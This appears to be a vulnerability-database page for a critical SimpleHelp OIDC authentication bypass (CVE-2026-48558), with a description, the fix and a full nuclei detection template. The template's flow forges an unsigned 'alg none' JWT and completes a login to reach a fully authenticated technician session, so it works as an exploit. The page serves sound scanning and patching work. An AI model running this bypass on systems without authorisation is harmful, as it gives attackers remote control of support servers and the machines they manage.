Browse / CVEs / CVE-2026-48558
CVE-2026-48558· simple-help / simplehelp· CWE-347
SimpleHelp <=5.5.15 - OIDC JWT Authentication Bypass
Exploited in the wild. Listed by CISA on 2026-06-29; known to be used by ransomware.
criticalseverity
10CVSS score
80.3%likelihood of exploitation, next 30 days
100%of all CVEs are less likely
Readycheck to confirm it
SimpleHelp <= 5.5.15 and 6.0 pre-release contain an authentication bypass caused by lack of cryptographic signature verification in OIDC tokens, letting remote unauthenticated attackers gain technician sessions, exploit requires OIDC authentication configured.
Impact
Remote attackers can bypass authentication and multi-factor authentication to gain full technician access.
Fix
Update to a version later than 5.5.15 or the final 6.0 release.
How to confirm it
Send: GET {{BaseURL}}/allversions
Positive when: matches /Visual Version:\s+5\.5\.(\d+)/
Send: GET {{BaseURL}}/auth/v1/account/login_options
Positive when: status 200
Send: GET /auth/v1/account/oidc_get?payload={{oidc_payload_enc}}
Positive when: status 200
Send: POST /oidc
Positive when: status_code == 200 || status_code == 302
Send: GET {{BaseURL}}/auth/v1/account/status
Positive when: status_code == 200 and contains(body, "FULLY_AUTHENTICATED") and contains(body, "\"code\":1") || contains(body, "\"code\": 1")Run it with nuclei: nuclei -id CVE-2026-48558 -u <target>
The full check
id: CVE-2026-48558
info:
name: SimpleHelp <=5.5.15 - OIDC JWT Authentication Bypass
author: 0x_Akoko,pdteam
severity: critical
description: |
SimpleHelp <= 5.5.15 and 6.0 pre-release contain an authentication bypass caused by lack of cryptographic signature verification in OIDC tokens, letting remote unauthenticated attackers gain technician sessions, exploit requires OIDC authentication configured.
impact: |
Remote attackers can bypass authentication and multi-factor authentication to gain full technician access.
remediation: |
Update to a version later than 5.5.15 or the final 6.0 release.
reference:
- https://horizon3.ai/attack-research/disclosures/cve-2026-48558-simplehelp-authentication-bypass-iocs/
- https://simple-help.com/security/simplehelp-security-update-2026-05
- https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/multi/http/simplehelp_oidc_auth_bypass_rce.rb
- https://github.com/J4ck3LSyN-Gen2/CVE-2026-48558
- https://nvd.nist.gov/vuln/detail/CVE-2026-48558
- https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-48558
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
cvss-score: 10.0
cve-id: CVE-2026-48558
cwe-id: CWE-347
epss-score: 0.80251
epss-percentile: 0.99622
metadata:
verified: true
max-request: 5
vendor: simple-help
product: simplehelp
shodan-query: html:"SimpleHelp"
fofa-query: body="SimpleHelp"
tags: cve,cve2026,simplehelp,auth-bypass,oidc,jwt,kev,vkev,intrusive,vuln
flow: |
(function () {
if (!http(1)) { return; }
var minor = parseInt(template["sh_minor"] || "99");
if (isNaN(minor) || minor > 15) { return; }
http(2);
var providers_raw = template["providers_raw"];
if (!providers_raw) { return; }
var providers;
try {
providers = JSON.parse(providers_raw);
} catch (e) { return; }
if (!providers || !providers[0]) { return; }
var provider = null;
for (var i = 0; i < providers.length; i++) {
if (providers[i]["type"] === "oidc" || providers[i]["type"] === "azure") {
provider = providers[i];
break;
}
}
if (!provider) { return; }
var root = (template["http_1_host"] || "").replace(/\/+$/, "");
if (!root) { return; }
provider["callback"] = root + "/webapps/technician/";
set("oidc_payload_enc", encodeURIComponent(JSON.stringify(provider)));
http(3);
var auth_url_str = template["auth_url_raw"] || "";
var auth_url;
try {
auth_url = JSON.parse(auth_url_str);
} catch (e) {
auth_url = auth_url_str.replace(/^"/, "").replace(/"$/, "").trim();
}
if (!auth_url) { return; }
var state_m = auth_url.match(/[?&]state=([^&\s"'<>]+)/);
if (!state_m) { return; }
var nonce_m = auth_url.match(/[?&]nonce=([^&\s"'<>]+)/);
var nonce = nonce_m ? nonce_m[1] : "";
function b64url(s) {
var CHARS = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-_";
var bytes = [];
for (var c = 0; c < s.length; c++) { bytes.push(s.charCodeAt(c) & 0xFF); }
var out = "";
var j = 0;
while (j < bytes.length) {
var b0 = bytes[j++];
var b1 = (j < bytes.length) ? bytes[j++] : -1;
var b2 = (j < bytes.length) ? bytes[j++] : -1;
out += CHARS[b0 >> 2];
out += CHARS[((b0 & 3) << 4) | (b1 < 0 ? 0 : (b1 >> 4))];
if (b1 >= 0) { out += CHARS[((b1 & 15) << 2) | (b2 < 0 ? 0 : (b2 >> 6))]; }
if (b2 >= 0) { out += CHARS[b2 & 63]; }
}
return out;
}
var now = Math.floor(new Date().getTime() / 1000);
var jwt_header = {"alg":"none","typ":"JWT"};
var jwt_payload = {
"sub": "probe-cve-2026-48558",
"preferred_username": "probe-check",
"name": "ProbeCheck",
"email": "[email protected]",
"iat": now,
"exp": now + 3600
};
if (nonce) { jwt_payload["nonce"] = nonce; }
var forged_jwt = b64url(JSON.stringify(jwt_header)) + "." +
b64url(JSON.stringify(jwt_payload)) + ".x";
set("oidc_post_body",
"state=" + encodeURIComponent(state_m[1]) +
"&id_token=" + encodeURIComponent(forged_jwt));
http(4);
http(5);
})();
http:
- method: GET
path:
- "{{BaseURL}}/allversions"
cookie-reuse: true
matchers:
- type: regex
part: body
regex:
- "Visual Version:\\s+5\\.5\\.(\\d+)"
internal: true
extractors:
- type: regex
name: sh_minor
part: body
group: 1
regex:
- "Visual Version:\\s+5\\.5\\.(\\d+)"
internal: true
- method: GET
path:
- "{{BaseURL}}/auth/v1/account/login_options"
cookie-reuse: true
matchers:
- type: status
status:
- 200
internal: true
extractors:
- type: dsl
name: providers_raw
dsl:
- "body"
internal: true
- raw:
- |
GET /auth/v1/account/oidc_get?payload={{oidc_payload_enc}} HTTP/1.1
Host: {{Hostname}}
Accept: application/json, */*
cookie-reuse: true
matchers:
- type: status
status:
- 200
internal: true
extractors:
- type: dsl
name: auth_url_raw
dsl:
- "body"
internal: true
- raw:
- |
POST /oidc HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
{{oidc_post_body}}
cookie-reuse: true
redirects: false
matchers:
- type: dsl
dsl:
- "status_code == 200 || status_code == 302"
internal: true
- method: GET
path:
- "{{BaseURL}}/auth/v1/account/status"
cookie-reuse: true
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains(body, "FULLY_AUTHENTICATED")'
- 'contains(body, "\"code\":1") || contains(body, "\"code\": 1")'
condition: and
extractors:
- type: dsl
dsl:
- 'username + " | " + email'
- type: json
part: body
json:
- ".user.username"
name: username
internal: true
- type: json
part: body
json:
- ".user.emailAddress"
name: emailReferences
- https://horizon3.ai/attack-research/disclosures/cve-2026-48558-simplehelp-authentication-bypass-iocs/
- https://simple-help.com/security/simplehelp-security-update-2026-05
- https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/multi/http/simplehelp_oidc_auth_bypass_rce.rb
- https://github.com/J4ck3LSyN-Gen2/CVE-2026-48558
- https://nvd.nist.gov/vuln/detail/CVE-2026-48558
- https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-48558
Use this check only on systems you are authorised to test. Where the data comes from